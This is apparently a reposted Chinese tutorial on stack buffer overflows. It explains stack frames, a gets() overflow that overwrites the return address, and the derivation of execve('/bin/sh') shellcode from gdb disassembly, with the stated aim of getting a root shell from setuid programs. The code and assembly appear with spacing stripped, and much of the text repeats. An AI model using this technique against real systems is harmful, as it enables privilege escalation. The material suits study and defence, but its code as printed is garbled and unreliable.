堆栈溢出技术从入门到精通
虽然溢出在程序开发过程中不可完全避免，但溢出对系统的威胁是巨大的，由于系统的特殊性，溢出发生时攻击者可以利用其漏洞来获取系统的高级权限root，因此本文将详细介绍堆栈溢出技术……
在您开始了解堆栈溢出前，首先你应该了解win32汇编语言，熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面的基础知识，有关这方面的计算机书籍很多，我将只是简单阐述原理，着重在应用。其次，你应该了解linux，本讲中我们的例子将在linux上开发。
1、首先复习一下基础知识。
从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配在堆栈里面。
从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push=esp-4，出栈的操作是pop=esp+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。
在一次函数调用中，堆栈中将被依次压入：参数，返回地址，ebp。如果函数有局部变量，接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候，弹出ebp，恢复堆栈到函数调用的地址,弹出返回地址到eip以继续执行程序。
在c语言程序中，参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候，是：先压c，再压b,最后a。在取参数的时候，由于栈的先入后出，先取栈顶的a，再取b,最后取c。这些是汇编语言的基础知识，用户在开始前必须要了解这些知识。
2、现在我们来看一看什么是堆栈溢出。
运行时的堆栈分配
堆栈溢出就是不顾堆栈中数据块大小，向该数据块写入了过多的数据，导致数据越界，结果覆盖了老的堆栈数据。
例如程序一：
#includeintmain(){charname[8];printf(pleasetypeyourname:);gets(name);printf(hello,%s!,name);return0;}
编译并且执行，我们输入ipxodi,就会输出hello,ipxodi!。程序运行中，堆栈是怎么操作的呢?
在main函数开始运行的时候，堆栈里面将被依次放入返回地址，ebp。
我们用gcc -s 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句：
pushl%ebpmovl%esp,%ebpsubl$8,%esp
首先他把ebp保存下来，，然后ebp等于现在的esp，这样ebp就可以用来访问本函数的局部变量。之后esp减8，就是堆栈向上增长8个字节，用来存放name[]数组。最后，main返回，弹出ret里的地址，赋值给eip，cpu继续执行eip所指向的指令。
堆栈溢出
现在我们再执行一次，输入ipxodiaaaaaaaaaaaaaaa,执行完gets(name)之后，由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘a’。由于堆栈的生长方向与内存的生长方向相反，这些‘a’覆盖了堆栈的老的元素。 我们可以发现，ebp，ret都已经被‘a’覆盖了。在main返回的时候，就会把‘aaaa’的ascii码：0x41414141作为返回地址，cpu会试图执行0x41414141处的指令，结果出现错误。这就是一次堆栈溢出。
3、如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数(gets，strcpy等等)没有对数组越界加以监视和限制，我们利用字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。
在上面的例子中，这导致cpu去访问一个不存在的指令，结果出错。事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址，cpu就会转而执行我们的指令。
在uinx/linux系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。下一讲将叙述如何书写一个shell code。
如何书写一个shell code
一：shellcode基本算法分析
在程序中，执行一个shell的程序是这样写的：
shellcode.c------------------------------------------------------------------------#includevoidmain(){char*name[2];name[0]=/bin/shname[1]=null;execve(name[0],name,null);}------------------------------------------------------------------------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个参数。
我们来看以看execve的汇编代码：
[nkl10]$content$nbsp;gcc-oshellcode-staticshellcode.c[nkl10]$content$nbsp;gdbshellcode(gdb)disassemble__execvedumpofassemblercodeforfunction__execve:0x80002bc:pushl%ebp;0x80002bd:movl%esp,%ebp;上面是函数头。0x80002bf:pushl%ebx;保存ebx0x80002c0:movl$0xb,%eax;eax=0xb，eax指明第几号系统调用。0x80002c5:movl0x8(%ebp),%ebx;ebp+8是第一个参数/bin/sh 0x80002c8:movl0xc(%ebp),%ecx;ebp+12是第二个参数name数组的地址0x80002cb:movl0x10(%ebp),%edx;ebp+16是第三个参数空指针的地址。;name[2-1]内容为null，用来存放返回值。0x80002ce:int$0x80;执行0xb号系统调用(execve)0x80002d0:movl%eax,%edx;下面是返回值的处理就没有用了。0x80002d2:testl%edx,%edx0x80002d4:jnl0x80002e60x80002d6:negl%edx0x80002d8:pushl%edx0x80002d9:call0x8001a340x80002de:popl%edx0x80002df:movl%edx,(%eax)0x80002e1:movl$0xffffffff,%eax0x80002e6:popl%ebx0x80002e7:movl%ebp,%esp0x80002e9:popl%ebp0x80002ea:ret0x80002eb:nopendofassemblerdump.
经过以上的分析，可以得到如下的精简指令算法：
movl$execve的系统调用号,%eaxmovlbin/sh 的地址,%ebxmovlname数组的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;执行系统调用(execve)
当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。可是，如果我们的execve执行失败，(比如没有/bin/sh这个文件)，cpu就会继续执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用，结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码：
(gdb)disassemble_exitdumpofassemblercodeforfunction_exit:0x800034c:pushl%ebp0x800034d:movl%esp,%ebp0x800034f:pushl%ebx0x8000350:movl$0x1,%eax;1号系统调用0x8000355:movl0x8(%ebp),%ebx;ebx为参数00x8000358:int$0x80;引发系统调用0x800035a:movl0xfffffffc(%ebp),%ebx0x800035d:movl%ebp,%esp0x800035f:popl%ebp0x8000360:ret0x8000361:nop0x8000362:nop0x8000363:nopendofassemblerdump.
看来exit(0)〕的汇编代码更加简单：
movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;引发系统调用
那么总结一下，合成的汇编代码为：
movl$execve的系统调用号,%eaxmovlbin/sh 的地址,%ebxmovlname数组的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;执行系统调用(execve)movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;执行系统调用(exit)
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从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配在堆栈里面。
从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push=esp-4，出栈的操作是pop=esp+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。
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#includeintmain(){charname[8];printf(pleasetypeyourname:);gets(name);printf(hello,%s!,name);return0;}
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在main函数开始运行的时候，堆栈里面将被依次放入返回地址，ebp。
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pushl%ebpmovl%esp,%ebpsubl$8,%esp
首先他把ebp保存下来，，然后ebp等于现在的esp，这样ebp就可以用来访问本函数的局部变量。之后esp减8，就是堆栈向上增长8个字节，用来存放name[]数组。最后，main返回，弹出ret里的地址，赋值给eip，cpu继续执行eip所指向的指令。
堆栈溢出
现在我们再执行一次，输入ipxodiaaaaaaaaaaaaaaa,执行完gets(name)之后，由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘a’。由于堆栈的生长方向与内存的生长方向相反，这些‘a’覆盖了堆栈的老的元素。 我们可以发现，ebp，ret都已经被‘a’覆盖了。在main返回的时候，就会把‘aaaa’的ascii码：0x41414141作为返回地址，cpu会试图执行0x41414141处的指令，结果出现错误。这就是一次堆栈溢出。
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如何书写一个shell code
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当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。可是，如果我们的execve执行失败，(比如没有/bin/sh这个文件)，cpu就会继续执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用，结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码：
(gdb)disassemble_exitdumpofassemblercodeforfunction_exit:0x800034c:pushl%ebp0x800034d:movl%esp,%ebp0x800034f:pushl%ebx0x8000350:movl$0x1,%eax;1号系统调用0x8000355:movl0x8(%ebp),%ebx;ebx为参数00x8000358:int$0x80;引发系统调用0x800035a:movl0xfffffffc(%ebp),%ebx0x800035d:movl%ebp,%esp0x800035f:popl%ebp0x8000360:ret0x8000361:nop0x8000362:nop0x8000363:nopendofassemblerdump.
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movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;引发系统调用
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movl$execve的系统调用号,%eaxmovlbin/sh 的地址,%ebxmovlname数组的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;执行系统调用(execve)movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;执行系统调用(exit)
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